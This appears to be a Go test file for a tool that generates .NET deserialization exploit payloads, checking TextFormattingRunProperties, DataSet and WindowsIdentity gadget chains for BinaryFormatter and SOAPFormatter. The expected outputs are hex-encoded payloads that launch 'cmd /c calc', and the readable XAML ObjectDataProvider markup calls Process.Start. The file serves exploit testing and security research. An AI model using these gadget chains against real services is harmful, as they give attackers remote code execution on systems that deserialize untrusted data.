package dotnet

import (
	"encoding/hex"
	"fmt"
	"testing"
)

func TestTextFormattingRunPropertiesBinaryFormatter(t *testing.T) {
	want, err := ReadGadget("TextFormattingRunProperties", "BinaryFormatter")
	if err != nil {
		t.Fatal(err)
	}

	// Dynamically test the placeholder command
	got := TextFormattingRunPropertiesBinaryFormatter("mspaint.exe")

	if got != string(want) {
		t.Fatalf("%q", got)
	}

	t.Logf("%q", got)
}

func TestGetBinaryLibraryRecord(t *testing.T) {
	got := BinaryLibraryRecord{ID: 2, Library: "Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"}
	got2, ok := got.ToRecordBin()
	if !ok || fmt.Sprintf("%02x", got2) != "0c020000005e4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d33316266333835366164333634653335" {
		t.Fatalf("Bin lib record record invalid: %q hexform: %02x", got, got)
	}
	t.Logf("%02x", got)
}

func TestGetClassInfo(t *testing.T) {
	className := "Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties"
	members := []string{"ForegroundBrush"}
	got := ClassInfo{ObjectID: 1, Name: className, MemberCount: len(members), MemberNames: members}
	if fmt.Sprintf("%02x", got.ToBin()) != "01000000424d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672e54657874466f726d617474696e6752756e50726f70657274696573010000000f466f726567726f756e644272757368" {
		t.Fatalf("Classinfo invalid: %q hexform: %02x", got, got)
	}
}

func TestGetMemberTypeInfo(t *testing.T) {
	got, ok := getMemberTypeInfo([]string{"String"}, []string{"ForegroundBrush"}, nil)
	if !ok {
		got2, ok := got.ToBin()
		if !ok || fmt.Sprintf("%02x", got2) != "01" {
			t.Fatalf("Member info invalid: %q hexform: %02x", got, got)
		}
	}
}

func TestGetSerializationHeaderRecord(t *testing.T) {
	got := SerializationHeaderRecord{RootID: 1, HeaderID: -1}
	got2, ok := got.ToRecordBin()

	if !ok || fmt.Sprintf("%02x", got2) != "0001000000ffffffff0100000000000000" {
		t.Fatalf("Serialization header record invalid: %q hexform: %02x", got, got)
	}
}

func TestGetBinaryObjectString(t *testing.T) {
	program := "cmd"
	args := "/c calc"
	xmlData := fmt.Sprintf(`<ResourceDictionary
		xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
		xmlns:X="http://schemas.microsoft.com/winfx/2006/xaml"
		xmlns:S="clr-namespace:System;assembly=mscorlib"
		xmlns:D="clr-namespace:System.Diagnostics;assembly=system"
	>
		<ObjectDataProvider X:Key="" ObjectType="{X:Type D:Process}" MethodName="Start">
			<ObjectDataProvider.MethodParameters>
				<S:String>%s</S:String>
				<S:String>%s</S:String>
			</ObjectDataProvider.MethodParameters>
		</ObjectDataProvider>
	</ResourceDictionary>`, program, args)
	got := BinaryObjectString{ObjectID: 3, Value: xmlData}
	got2, ok := got.ToRecordBin()

	if !ok || fmt.Sprintf("%02x", got2) != "060300000096043c5265736f7572636544696374696f6e6172790a0909786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e220a0909786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c220a0909786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c6962220a0909786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d220a093e0a09093c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e0a0909093c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a090909093c533a537472696e673e636d643c2f533a537472696e673e0a090909093c533a537472696e673e2f632063616c633c2f533a537472696e673e0a0909093c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a09093c2f4f626a6563744461746150726f76696465723e0a093c2f5265736f7572636544696374696f6e6172793e" {
		t.Fatalf("Bin object invalid: %q hexform: %02x", got, got)
	}
}

func TestCreateTextFormattingRunProperties(t *testing.T) {
	got, ok := CreateTextFormattingRunProperties("cmd", "/c calc", "BinaryFormatter")

	if !ok || fmt.Sprintf("%02x", got) != "0001000000ffffffff01000000000000000c020000005e4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d333162663338353661643336346533350501000000424d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672e54657874466f726d617474696e6752756e50726f70657274696573010000000f466f726567726f756e64427275736801020000000603000000f2033c5265736f7572636544696374696f6e61727920786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e2220786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2220786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c69622220786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d223e3c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e3c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e3c533a537472696e673e636d643c2f533a537472696e673e3c533a537472696e673e2f632063616c633c2f533a537472696e673e3c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e3c2f4f626a6563744461746150726f76696465723e3c2f5265736f7572636544696374696f6e6172793e0b" {
		t.Fatalf("CreateTextFormattingRunProperties output invalid: %q hexform: %02x", got, got)
	}
}

func TestFormatLOS(t *testing.T) {
	decodedString, _ := hex.DecodeString("0001000000ffffffff01000000000000000c020000005e4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d333162663338353661643336346533350501000000424d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672e54657874466f726d617474696e6752756e50726f70657274696573010000000f466f726567726f756e6442727573680102000000060300000096043c5265736f7572636544696374696f6e6172790a0909786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e220a0909786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c220a0909786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c6962220a0909786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d220a093e0a09093c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e0a0909093c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a090909093c533a537472696e673e636d643c2f533a537472696e673e0a090909093c533a537472696e673e2f632063616c633c2f533a537472696e673e0a0909093c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a09093c2f4f626a6563744461746150726f76696465723e0a093c2f5265736f7572636544696374696f6e6172793e0b")
	got := FormatLOS(string(decodedString))
	if fmt.Sprintf("%02x", got) != "ff0132f4050001000000ffffffff01000000000000000c020000005e4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d333162663338353661643336346533350501000000424d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672e54657874466f726d617474696e6752756e50726f70657274696573010000000f466f726567726f756e6442727573680102000000060300000096043c5265736f7572636544696374696f6e6172790a0909786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e220a0909786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c220a0909786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c6962220a0909786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d220a093e0a09093c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e0a0909093c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a090909093c533a537472696e673e636d643c2f533a537472696e673e0a090909093c533a537472696e673e2f632063616c633c2f533a537472696e673e0a0909093c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a09093c2f4f626a6563744461746150726f76696465723e0a093c2f5265736f7572636544696374696f6e6172793e0b" {
		t.Fatalf("FormatLOS output invalid: %q hexform: %02x", got, got)
	}
}

// This test uses a gadget with a SystemClassWithMembersAndTypesRecord which is treatede slightly differently by the SOAPFormatter.
func TestFormatSOAPWindowsIdentity(t *testing.T) {
	got, ok := CreateWindowsIdentity("cmd", "/c calc", "SOAPFormatter")
	if !ok || fmt.Sprintf("%02x", got) != "3c534f41502d454e563a456e76656c6f706520786d6c6e733a7873693d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e63652220786d6c6e733a7873643d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612220786d6c6e733a534f41502d454e433d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f2220786d6c6e733a534f41502d454e563d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220786d6c6e733a636c723d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f736f61702f656e636f64696e672f636c722f312e302220534f41502d454e563a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c534f41502d454e563a426f64793e3c61313a57696e646f77734964656e746974792069643d227265662d312220786d6c6e733a61313d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e73617373656d2f53797374656d2e53656375726974792e5072696e636970616c2f6d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839223e3c53797374656d2e53656375726974792e436c61696d734964656e746974792e6163746f722069643d227265662d3222207873693a747970653d227873643a737472696e67223e414145414141442f2f2f2f2f41514141414141414141414d4167414141456c5465584e305a57307349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d446735425145414141434541564e356333526c62533544623278735a574e3061573975637935485a57356c636d6c6a4c6c4e76636e526c5a464e6c644741785731745465584e305a573075553352796157356e4c43427463324e76636d787059697767566d567963326c76626a30304c6a41754d4334774c4342446457783064584a6c5057356c645852795957777349464231596d78705930746c6556527661325675505749334e324531597a55324d546b7a4e4755774f446c64585151414141414651323931626e514951323974634746795a584948566d567963326c766267564a6447567463774144414159496a51465465584e305a573075513239736247566a64476c76626e4d75523256755a584a70597935446232317759584a706332397551323974634746795a584a674d56746255336c7a644756744c6c4e30636d6c755a79776762584e6a62334a736157497349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d4467355856304941674141414149414141414a41774141414149414141414a4241414141415144414141416a51465465584e305a573075513239736247566a64476c76626e4d75523256755a584a70597935446232317759584a706332397551323974634746795a584a674d56746255336c7a644756744c6c4e30636d6c755a79776762584e6a62334a736157497349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d44673558563042414141414331396a6232317759584a706332397541794a5465584e305a573075524756735a576468644756545a584a7059577870656d463061573975534739735a475679435155414141415242414141414149414141414742674141414163765979426a5957786a42676341414141445932316b424155414141416955336c7a644756744c6b526c6247566e5958526c55325679615746736158706864476c76626b68766247526c63674d4141414149524756735a57646864475548625756306147396b4d4164745a58526f6232517841774d444d464e356333526c625335455a57786c5a3246305a564e6c636d6c6862476c3659585270623235496232786b5a584972524756735a57646864475646626e52796553395465584e305a573075556d566d6247566a64476c766269354e5a5731695a584a4a626d5a7655325679615746736158706864476c76626b68766247526c6369395465584e305a573075556d566d6247566a64476c766269354e5a5731695a584a4a626d5a7655325679615746736158706864476c76626b68766247526c63676b494141414143516b414141414a4367414141415149414141414d464e356333526c625335455a57786c5a3246305a564e6c636d6c6862476c3659585270623235496232786b5a584972524756735a57646864475646626e5279655163414141414564486c775a51686863334e6c62574a7365515a3059584a6e5a585153644746795a32563056486c775a55467a63325674596d7835446e5268636d646c644652356347564f5957316c436d316c644768765a4535686257554e5a4756735a57646864475646626e5279655145424167454241514d7755336c7a644756744c6b526c6247566e5958526c55325679615746736158706864476c76626b68766247526c636974455a57786c5a3246305a55567564484a354267734141414377416c4e356333526c625335476457356a59444e6257314e356333526c6253355464484a70626d63734947317a5932397962476c694c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f56307357314e356333526c6253355464484a70626d63734947317a5932397962476c694c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f56307357314e356333526c625335456157466e626d397a64476c6a63793551636d396a5a584e7a4c43425465584e305a57307349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d44673558563047444141414145747463324e76636d787059697767566d567963326c76626a30304c6a41754d4334774c4342446457783064584a6c5057356c645852795957777349464231596d78705930746c6556527661325675505749334e324531597a55324d546b7a4e4755774f446b4b426730414141424a55336c7a644756744c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f51594f41414141476c4e356333526c625335456157466e626d397a64476c6a63793551636d396a5a584e7a426738414141414655335268636e514a454141414141514a414141414c314e356333526c625335535a575a735a574e30615739754c6b316c62574a6c636b6c755a6d39545a584a7059577870656d463061573975534739735a475679427741414141524f5957316c4445467a63325674596d7835546d46745a516c446247467a633035686257554a55326c6e626d463064584a6c436c4e705a323568644856795a54494b54575674596d567956486c775a5242485a57356c636d6c6a51584a6e6457316c626e527a41514542415145414177674e55336c7a644756744c6c52356347566258516b5041414141435130414141414a446741414141595541414141506c4e356333526c625335456157466e626d397a64476c6a63793551636d396a5a584e7a49464e3059584a304b464e356333526c6253355464484a70626d637349464e356333526c6253355464484a70626d6370426855414141412b55336c7a644756744c6b52705957647562334e3061574e7a4c6c427962324e6c63334d6755335268636e516f55336c7a644756744c6c4e30636d6c755a79776755336c7a644756744c6c4e30636d6c755a796b49414141414367454b4141414143514141414159574141414142304e7662584268636d554a44414141414159594141414144564e356333526c6253355464484a70626d6347475141414143744a626e517a4d6942446232317759584a6c4b464e356333526c6253355464484a70626d637349464e356333526c6253355464484a70626d637042686f414141417955336c7a644756744c6b6c7564444d7949454e7662584268636d556f55336c7a644756744c6c4e30636d6c755a79776755336c7a644756744c6c4e30636d6c755a796b4941414141436745514141414143414141414159624141414163564e356333526c625335446232317759584a70633239755944466257314e356333526c6253355464484a70626d63734947317a5932397962476c694c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f563164435177414141414b435177414141414a4741414141416b57414141414367733d3c2f53797374656d2e53656375726974792e436c61696d734964656e746974792e6163746f723e3c2f61313a57696e646f77734964656e746974793e3c2f534f41502d454e563a426f64793e3c2f534f41502d454e563a456e76656c6f70653e" {
		t.Fatalf("Invalid WindowsIdentity+SOAPFormatter output... val: %q hexform: %02x\n", got, got)
	}
}

func TestFormatSOAPDataSet(t *testing.T) {
	got, ok := CreateDataSet("cmd", "/c calc", "SOAPFormatterWithExceptions")
	if !ok || fmt.Sprintf("%02x", got) != "3c534f41502d454e563a456e76656c6f706520786d6c6e733a7873693d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e63652220786d6c6e733a7873643d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612220786d6c6e733a534f41502d454e433d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f2220786d6c6e733a534f41502d454e563d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220786d6c6e733a636c723d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f736f61702f656e636f64696e672f636c722f312e302220534f41502d454e563a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c534f41502d454e563a426f64793eefbbbf3c534f41502d454e563a4661756c742069643d22787265662d31223e0a202020203c6661756c74636f64652069643d22787265662d32223e534f41502d454e563a5365727665723c2f6661756c74636f64653e0a202020203c6661756c74737472696e672069643d22787265662d33223e202a2a2a2a2053797374656d2e457863657074696f6e202d20457863657074696f6e206f66207479706520262333393b53797374656d2e457863657074696f6e262333393b20776173207468726f776e2e3c2f6661756c74737472696e673e0a202020203c64657461696c207873693a747970653d2278313a5365727665724661756c742220786d6c6e733a78313d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e732f53797374656d2e52756e74696d652e53657269616c697a6174696f6e2e466f726d617474657273223e0a20202020202020203c657863657074696f6e54797065207873693a6e756c6c3d2231222f3e0a20202020202020203c6d657373616765207873693a6e756c6c3d2231222f3e0a20202020202020203c737461636b5472616365207873693a6e756c6c3d2231222f3e0a20202020202020203c657863657074696f6e20687265663d2223787265662d34222f3e0a202020203c2f64657461696c3e0a3c2f534f41502d454e563a4661756c743e0a3c78323a457863657074696f6e2069643d22787265662d342220786d6c6e733a78323d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e732f53797374656d223e0a202020203c436c6173734e616d652069643d22787265662d35223e53797374656d2e457863657074696f6e3c2f436c6173734e616d653e0a202020203c4d657373616765207873693a6e756c6c3d2231222f3e0a202020203c4461746120687265663d2223787265662d36222f3e0a202020203c496e6e6572457863657074696f6e207873693a6e756c6c3d2231222f3e0a202020203c48656c7055524c207873693a6e756c6c3d2231222f3e0a202020203c537461636b5472616365537472696e67207873693a6e756c6c3d2231222f3e0a202020203c52656d6f7465537461636b5472616365537472696e67207873693a6e756c6c3d2231222f3e0a202020203c52656d6f7465537461636b496e6465783e303c2f52656d6f7465537461636b496e6465783e0a202020203c457863657074696f6e4d6574686f64207873693a6e756c6c3d2231222f3e0a202020203c48526573756c743e2d323134363233333038383c2f48526573756c743e0a202020203c536f75726365207873693a6e756c6c3d2231222f3e0a202020203c576174736f6e4275636b657473207873693a6e756c6c3d2231222f3e0a3c2f78323a457863657074696f6e3e0a3c78333a4c69737444696374696f6e617279496e7465726e616c2069643d22787265662d362220786d6c6e733a78333d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e732f53797374656d2e436f6c6c656374696f6e73223e0a202020203c6865616420687265663d2223787265662d37222f3e0a202020203c76657273696f6e3e313c2f76657273696f6e3e0a202020203c636f756e743e313c2f636f756e743e0a3c2f78333a4c69737444696374696f6e617279496e7465726e616c3e0a3c78333a4c69737444696374696f6e617279496e7465726e616c5f78303032425f44696374696f6e6172794e6f64652069643d22787265662d372220786d6c6e733a78333d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e732f53797374656d2e436f6c6c656374696f6e73223e0a202020203c6b65792069643d22787265662d3922207873693a747970653d22534f41502d454e433a737472696e67223e783c2f6b65793e0a202020203c76616c7565202f3e0a202020203c6e657874207873693a6e756c6c3d2231222f3e0a3c2f78333a4c69737444696374696f6e617279496e7465726e616c5f78303032425f44696374696f6e6172794e6f64653e0a3c78323a56657273696f6e2069643d22787265662d31312220786d6c6e733a78323d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e732f53797374656d223e0a202020203c5f4d616a6f723e323c2f5f4d616a6f723e0a202020203c5f4d696e6f723e303c2f5f4d696e6f723e0a202020203c5f4275696c643e2d313c2f5f4275696c643e0a202020203c5f5265766973696f6e3e2d313c2f5f5265766973696f6e3e0a3c2f78323a56657273696f6e3e0a3c61313a446174615365742069643d227265662d312220786d6c6e733a61313d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e73617373656d2f53797374656d2e446174612f53797374656d2e446174612c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839223e3c446174615365742e52656d6f74696e67466f726d6174207873693a747970653d2261313a53657269616c697a6174696f6e466f726d61742220786d6c6e733a61313d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e73617373656d2f53797374656d2e446174612f53797374656d2e446174612c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839223e42696e6172793c2f446174615365742e52656d6f74696e67466f726d61743e3c446174615365742e446174615365744e616d652069643d227265662d3422207873693a747970653d227873643a737472696e67223e3c2f446174615365742e446174615365744e616d653e3c446174615365742e4e616d65737061636520687265663d22237265662d34223e3c2f446174615365742e4e616d6573706163653e3c446174615365742e50726566697820687265663d22237265662d34223e3c2f446174615365742e5072656669783e3c446174615365742e4361736553656e7369746976653e66616c73653c2f446174615365742e4361736553656e7369746976653e3c446174615365742e4c6f63616c654c4349443e313033333c2f446174615365742e4c6f63616c654c4349443e3c446174615365742e456e666f726365436f6e73747261696e74733e66616c73653c2f446174615365742e456e666f726365436f6e73747261696e74733e3c446174615365742e457874656e64656450726f70657274696573207873693a747970653d227873693a616e795479706522207873693a6e756c6c3d2231223e3c2f446174615365742e457874656e64656450726f706572746965733e3c446174615365742e5461626c65732e436f756e743e313c2f446174615365742e5461626c65732e436f756e743e3c446174615365742e5461626c65735f3020687265663d22237265662d35223e3c2f446174615365742e5461626c65735f303e3c2f61313a446174615365743e3c534f41502d454e433a41727261792069643d227265662d3522207873693a747970653d22534f41502d454e433a626173653634223e414145414141442f2f2f2f2f41514141414141414141414d416741414146354e61574e7962334e765a6e5175554739335a584a5461475673624335465a476c306233497349465a6c636e4e70623234394d7934774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a307a4d574a6d4d7a67314e6d466b4d7a59305a544d31425145414141424354576c6a636d397a62325a304c6c5a706333566862464e3064575270627935555a5868304c6b5a76636d316864485270626d63755647563464455a76636d316864485270626d645364573551636d39775a584a306157567a415141414141394762334a6c5a334a766457356b516e4a316332674241674141414159444141414138674d38556d567a623356795932564561574e306157397559584a35494868746247357a50534a6f644852774f69387663324e6f5a5731686379357461574e7962334e765a6e5175593239744c336470626d5a344c7a49774d4459766547467462433977636d567a5a5735305958527062323469494868746247357a4f6c6739496d6830644841364c79397a5932686c6257467a4c6d317059334a766332396d6443356a6232307664326c755a6e67764d6a41774e693934595731734969423462577875637a705450534a6a62484974626d46745a584e7759574e6c4f6c4e356333526c6254746863334e6c62574a736554317463324e76636d78705969496765473173626e4d3652443069593278794c5735686257567a6347466a5a54705465584e305a57307552476c685a3235766333527059334d3759584e7a5a57316962486b3963336c7a64475674496a343854324a715a574e30524746305956427962335a705a47567949466736533256355053496949453969616d566a6446523563475539496e74594f6c52356347556752447051636d396a5a584e7a66534967545756306147396b546d46745a54306955335268636e5169506a7850596d706c593352455958526855484a76646d6c6b5a584975545756306147396b554746795957316c64475679637a3438557a705464484a70626d632b5932316b504339544f6c4e30636d6c755a7a3438557a705464484a70626d632b4c324d6759324673597a7776557a705464484a70626d632b50433950596d706c593352455958526855484a76646d6c6b5a584975545756306147396b554746795957316c64475679637a34384c303969616d566a6445526864474651636d39326157526c636a34384c314a6c63323931636d4e6c52476c6a64476c76626d46796554344c3c2f534f41502d454e433a41727261793e3c2f534f41502d454e563a426f64793e3c2f534f41502d454e563a456e76656c6f70653e" {
		t.Fatalf("Invalid DataSet+SOAPFormatterWithExceptions output... val: %q hexform: %02x\n", got, got)
	}
}

func TestFormatSOAP(t *testing.T) {
	got, ok := CreateTextFormattingRunProperties("cmd", "/c calc", "SOAPFormatter")
	if !ok || fmt.Sprintf("%02x", got) != "3c534f41502d454e563a456e76656c6f706520786d6c6e733a7873693d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e63652220786d6c6e733a7873643d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612220786d6c6e733a534f41502d454e433d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f2220786d6c6e733a534f41502d454e563d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220786d6c6e733a636c723d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f736f61702f656e636f64696e672f636c722f312e302220534f41502d454e563a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c534f41502d454e563a426f64793e3c61313a54657874466f726d617474696e6752756e50726f706572746965732069643d227265662d312220786d6c6e733a61313d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e73617373656d2f4d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672f4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d33316266333835366164333634653335223e3c466f726567726f756e6442727573682069643d227265662d3322207873693a747970653d227873643a737472696e67223e266c743b5265736f7572636544696374696f6e61727920786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e2220786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2220786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c69622220786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d222667743b266c743b4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274222667743b266c743b4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572732667743b266c743b533a537472696e672667743b636d64266c743b2f533a537472696e672667743b266c743b533a537472696e672667743b2f632063616c63266c743b2f533a537472696e672667743b266c743b2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572732667743b266c743b2f4f626a6563744461746150726f76696465722667743b266c743b2f5265736f7572636544696374696f6e6172792667743b3c2f466f726567726f756e6442727573683e3c2f61313a54657874466f726d617474696e6752756e50726f706572746965733e3c2f534f41502d454e563a426f64793e3c2f534f41502d454e563a456e76656c6f70653e" {
		t.Fatalf("Invalid TextFormattingRunProperties+SOAPFormatter output... val: %q hexform: %02x\n", got, got)
	}
}

func TestCreateDataSet(t *testing.T) {
	got, ok := CreateDataSet("cmd", "/c calc", "BinaryFormatter")
	if !ok || fmt.Sprintf("%02x", got) != "0001000000ffffffff01000000000000000c020000004e53797374656d2e446174612c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d6237376135633536313933346530383905010000001353797374656d2e446174612e446174615365740a00000016446174615365742e52656d6f74696e67466f726d617413446174615365742e446174615365744e616d6511446174615365742e4e616d6573706163650e446174615365742e50726566697815446174615365742e4361736553656e73697469766512446174615365742e4c6f63616c654c4349441a446174615365742e456e666f726365436f6e73747261696e74731a446174615365742e457874656e64656450726f7065727469657314446174615365742e5461626c65732e436f756e7410446174615365742e5461626c65735f30040101010000000200071f53797374656d2e446174612e53657269616c697a6174696f6e466f726d61740200000001080108020200000005fdffffff1f53797374656d2e446174612e53657269616c697a6174696f6e466f726d6174010000000776616c75655f5f00080200000001000000060400000000090400000009040000000009040000000a0100000009050000000f05000000d0020000020001000000ffffffff01000000000000000c020000005e4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d333162663338353661643336346533350501000000424d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672e54657874466f726d617474696e6752756e50726f70657274696573010000000f466f726567726f756e64427275736801020000000603000000f2033c5265736f7572636544696374696f6e61727920786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e2220786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2220786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c69622220786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d223e3c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e3c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e3c533a537472696e673e636d643c2f533a537472696e673e3c533a537472696e673e2f632063616c633c2f533a537472696e673e3c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572